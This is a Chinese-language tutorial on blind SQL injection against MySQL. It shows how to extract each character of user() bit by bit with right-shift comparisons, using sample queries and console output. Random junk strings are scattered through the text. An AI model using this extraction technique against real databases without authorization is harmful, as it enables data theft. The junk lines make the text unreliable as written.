关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


# S& i$ M3 J, u
下面将以查询mysql数据库当中user()的第一位为例:
6 O4 V. l$ B, w* f$ l5 Z


7 [5 @1 T2 ]2 gps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

8 S* d; u) m9 m

6 I- @7 e9 D& K9 Z3 I首先执行如下sql语句:
+ x2 R% n/ O: |0 e1 ]7 N  j# ~

- h8 Z4 ]8 ]3 Q% l; l) O" I3 @
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
/ x* {! y  X, u, J
) V( j1 @( @9 z; W. u  f/ p! y
8 x" n; u. X/ p1 ^; I
0 G' w; c% y9 g$ U9 y我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
  I3 ?3 |$ _9 O# L! ?
  C  @4 Z* {$ ~$ w: O0 O7 Z+ u0 }
2 V* ~; O' {$ _% L- l
2 p5 E' K* P4 n3 Q, \5 r  a8 e第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
( K6 `+ z- t/ Z; c# R2 S


% A. V' s5 q6 M. K如果运算结果为1,说明第一位为0,不为1

6 t2 d2 A: f1 v. Q  D0 U

+————————————–+
) Z. k0 b" U' s
| (ascii((substr(user(),1,1))) >> 7)=0 |

2 N0 i$ \+ r' B+————————————–+
2 r9 a$ b9 w" m4 d  O& R6 O
& g+ r  a. I2 T; U$ ~| 1 |
- h. Y! L  h  M8 s% U7 |4 p* f
7 \* Z, u8 [" _) L( e9 w+————————————–+

  C2 b2 S) J8 g6 o; n9 u; F1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



4 O$ w6 T/ Q6 M! o4 r8 |2 I; A. @第二次我们来做6次右偏移来确定前两位

" Z& W  \8 B& m% I! D2 `5 T" L
8 ?+ r4 U% D! c+ p! K: |+ U
前两位可能是01或00,即依然可以与0做比较,

3 p$ X% {  y5 c! Z) W8 C/ B* k- {+ tmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( s3 G/ D6 W: H% |" F/ q! R9 F
+————————————–+
4 w) Y! H- [" h0 D" t( C
5 X7 T: T& W6 z9 k" b| (ascii((substr(user(),1,1))) >> 6)=0 |
$ i* R7 x3 T( w+ a
0 c0 S4 e4 Z* y+————————————–+
5 I# _  @, D9 ^. s; V7 l
| 0 |

+————————————–+

1 row in set (0.00 sec)



结果为0,即第二位为1
# b2 H& b, J$ C; B0 L- z
7 |7 R' t0 N- f7 `
( r. r' L1 U; w
开始猜测前三位为010或011
' A# c: x: K4 H8 ?4 I
. S4 v# v2 B" P$ f& l  v

让我们看看010和011的ascii码是多少


) o1 ]7 [& ~( }+ K- l
分别查询select b’011′ select b’010′
) ~2 j+ q2 a( S

/ A) i1 p- q7 O6 J7 u# ]
- n  x; i! ?8 K* D1 `1 s获得结果 010 = 2 011 = 3
2 d9 f+ _, y# f% J9 \
7 f8 j0 q) S7 Z) P. o7 P

: w8 L1 e% M8 U" ]执行如下sql:
; q& k4 o, p' S0 P5 j
3 `- L# F$ L" P$ ?4 I1 d
6 u# [/ A6 ?$ A9 z, A* B' J& D
7 w/ T2 ?' J* {mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
: v8 M: z% T0 n: Q7 ~3 N
+————————————–+
  |& c4 [& W- k
| (ascii((substr(user(),1,1))) >> 5)=2 |

: ^8 C5 j1 r' N' y# F+————————————–+
, n/ a5 g" g* a6 k
& c2 Z+ K! v5 M; [4 A| 0 |
- @8 \2 x4 ?  N0 x& q; b' y. x) e
( U! m7 j( k- f  J# ^) z, X+————————————–+
! r+ p% Z. Q- g
即前三位不为010,而是011

, ~9 o# u# j5 _+ {. @9 Z) ]

2 k6 D1 p8 s/ ~, E直到获得最后一位
8 y0 i. m3 }5 x0 r) J% ]

9 T4 g$ S9 E# T" b' p( J- {6 N( V
最终结果为:01110010
* M8 o' r4 `$ C6 V7 O$ K6 @
. K6 X# \- f- l- b

转换一下:

5 o# E( e! h! t& R5 m
/ a6 N8 c; r- c9 r( M' _" W
4 B' g( A; T" x& W4 t$ O9 Cselect b’01110010′

$ e& Z  S) B7 H1 t( R8 V3 K; _
* c3 [( f$ E1 y) N1 M! E
/ s/ E+ g& S1 d4 T' Q查询结果
8 C' D0 |6 @+ h


+————-+

7 ~0 M* A0 u5 b9 n) o8 ^5 _| b’01110010′ |

+————-+
7 N/ F# s; m. f, Y0 x) L2 i3 |
0 ~) E* u7 ^/ r  U- T! F| r |

6 F; V- U- ?* {- k+————-+

1 row in set (0.00 sec)

0 n2 R! I# C4 a* K) t
8 Z# X+ W# r: x# _1 k) ]# j' v
" \: U( z; V- H$ p0 k. W) n这样我们就获得了user()的第一位.其它位依此类推
! j- a& D  A7 R: J# N3 ]7 G
6 A0 {8 A8 q8 A% j5 B